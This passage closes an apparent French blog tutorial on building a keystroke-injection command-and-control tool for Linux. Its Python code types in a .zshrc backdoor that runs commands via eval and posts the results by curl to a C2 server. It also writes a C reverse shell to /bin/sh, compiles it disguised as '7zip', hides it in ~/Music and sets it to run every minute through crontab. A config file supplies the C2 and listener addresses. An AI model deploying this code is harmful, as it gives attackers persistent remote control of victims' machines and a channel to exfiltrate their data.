    )
    
    sourceIt = "source /root/.zshrc"
    
    for letter in stringSeq(command1):
        sequence.append(letter)
    for letter in stringSeq(command2):
        sequence.append(letter)
    for letter in stringSeq(command3):
        sequence.append(letter)
    sequence.append(ENTER)
    
    for letter in stringSeq(sourceIt):
        sequence.append(letter)
    sequence.append(ENTER)
    
    sendKeysZer(sequence, value, 0.01)
    
def setChickenShellNoDependencies(value, server):
    sequence = [LINUX_TERMINAL]
    
    sendKeysZer(sequence, value, 0.01)  
    
    time.sleep(2) 
    
    sequence = []
    command1 = (
        "echo -e 'function RobberShell() {\\n"
        "    if [ -z \"$1\" ]; then\\n"
        "        echo \"Erreur : Aucune commande fournie.\"\\n"
        "        return 1\\n"
        "    fi\\n\\n"
        "    # Utilisation de \"eval\" \\n"
        "    result=$(eval \"$1\" 2>&1)  # Commentaire\\n\\n"
        "    # Echappe caractere speciaux\\n"
        "    result_escaped=$(echo \"$result\" | sed '\"'\"'s/\"/\\\\\"/g'\"'\"' | sed '\"'\"':a;N;$!ba;s/\\\\n/\\\\\\\\n/g'\"'\"')\\n"
        "    # construire json\\n"
        "    jsondataset=\"{\\\"result\\\": \\\"$result_escaped\\\"}\"\\n"
        "    # Envoie le résultat via curl\\n"
        "    curl -X POST -H \"Content-Type: application/json\" \\\\\\n"
        "         -d \"$jsondataset\" \\\\\\n"
    )
    
    command2 = f"         {server}\\n"
    
    command3 = (
        "}\\n"
        "' >> ~/.zshrc"
    )
    
    sourceIt = "source ~/.zshrc"
    
    exitTerm = "exit"
    
    # Ajouter les séquences de touches pour écrire la commande
    for letter in stringSeq(command1):
        sequence.append(letter)
    for letter in stringSeq(command2):
        sequence.append(letter)
    for letter in stringSeq(command3):
        sequence.append(letter)
    sequence.append(ENTER)
    
    # Ajouter les séquences pour sourcer le fichier .zshrc
    for letter in stringSeq(sourceIt):
        sequence.append(letter)
    sequence.append(ENTER)
    
    for letter in stringSeq(exitTerm):
        sequence.append(letter)
    sequence.append(ENTER)
    
    # Envoyer les séquences de touches
    sendKeysZer(sequence, value, 0.01)

def setCReverseShell(clavier, server, port):
    sequence = []
    shell = [
        "echo '#include <stdio.h>\\n",
        "#include <sys/socket.h>\\n",
        "#include <sys/types.h>\\n",
        "#include <stdlib.h>\\n",
        "#include <unistd.h>\\n",
        "#include <netinet/in.h>\\n",
        "#include <arpa/inet.h>\\n",
        "int main(void) {\\n",
        f"   int port = {port};\\n",
        "   struct sockaddr_in revsockaddr;\\n",
        "\\n",
        "   int sockt = socket(AF_INET, SOCK_STREAM, 0);\\n",
        "   if (sockt < 0) {\\n",
        '       perror("Socket creation failed");\\n',
        "       exit(EXIT_FAILURE);\\n",
        "   }\\n",
        "   revsockaddr.sin_family = AF_INET;\\n",
        "   revsockaddr.sin_port = htons(port);\\n",
        f'   revsockaddr.sin_addr.s_addr = inet_addr("{server}");\\n',
        "\\n",
        "   if (connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)) < 0) {\\n",
        '       perror("Connection failed");\\n',
        "       close(sockt);\\n",
        "       exit(EXIT_FAILURE);\\n",
        "   }\\n",
        "   dup2(sockt, 0); // Redirige stdin\\n",
        "   dup2(sockt, 1); // Redirige stdout\\n",
        "   dup2(sockt, 2); // Redirige stderr\\n",
        "\\n",
        '   char *const argv[] = {"/bin/sh", NULL};\\n',
        '   execve("/bin/sh", argv, NULL);\\n',
        "\\n",
        "   // Si execve échoue\\n",
        '   perror("execve failed");\\n',
        "   close(sockt);\\n",
        "   return 1;\\n",
        "}'"
        " >> gentlefile.c"
    ]
    
    for line in shell:
        for i in stringSeq(line):
            sequence.append(i)
    
    sequence.append(ENTER)
    
    executable = "gcc gentlefile.c -o 7zip"
    setrights = "chmod +x 7zip"
    moveIt = "mv 7zip /home/$(whoami)/Music"
    setAutomation = '(crontab -l; echo "* * * * * /home/$(whoami)/Music/7zip") | crontab -'
    
    sendKeysZer(sequence, clavier, 0.01)
    time.sleep(0.05)
    sequence = []
    
    for i in stringSeq(executable):
        sequence.append(i)
    sequence.append(ENTER)
    
    sendKeysZer(sequence, clavier, 0.01)
    time.sleep(0.05)
    sequence = []
    
    for i in stringSeq(setrights):
        sequence.append(i)
    sequence.append(ENTER)
    
    for i in stringSeq(moveIt):
        sequence.append(i)
    sequence.append(ENTER)
    
    for i in stringSeq(setAutomation):
        sequence.append(i)
    sequence.append(ENTER)
    
    sendKeysZer(sequence, clavier, 0.01)

Et Enfin la config.txt
### Charge Required Assets
lang=FR
OSystem=Linux 

## C2 Control
webserver=http://192.168.1.46:5000
webserveroutputs=http://192.168.1.46:5000/results
stationId=NomDuPointDacces
stationPassword=MotDePasse

## Set Rev Shell
distsrv=192.168.1.46
distport=4444

Conclusion

Voilà vous avez écrit votre premier centre de contrôle à distance et vous savez maintenant comment nos chers hackers font pour s'en servir.
Si cet article vous a plu veuillez mettre une bonne note comme sur UberEat svp. Si jamais vous pouvez m'acheter un café aussi. ^^ :) :-) (°-°)

Contenu Premium

Cet article est réservé aux membres premium. Veuillez activer JavaScript pour accéder au contenu ousouscrire à un abonnement premium.

Voir nos offres premium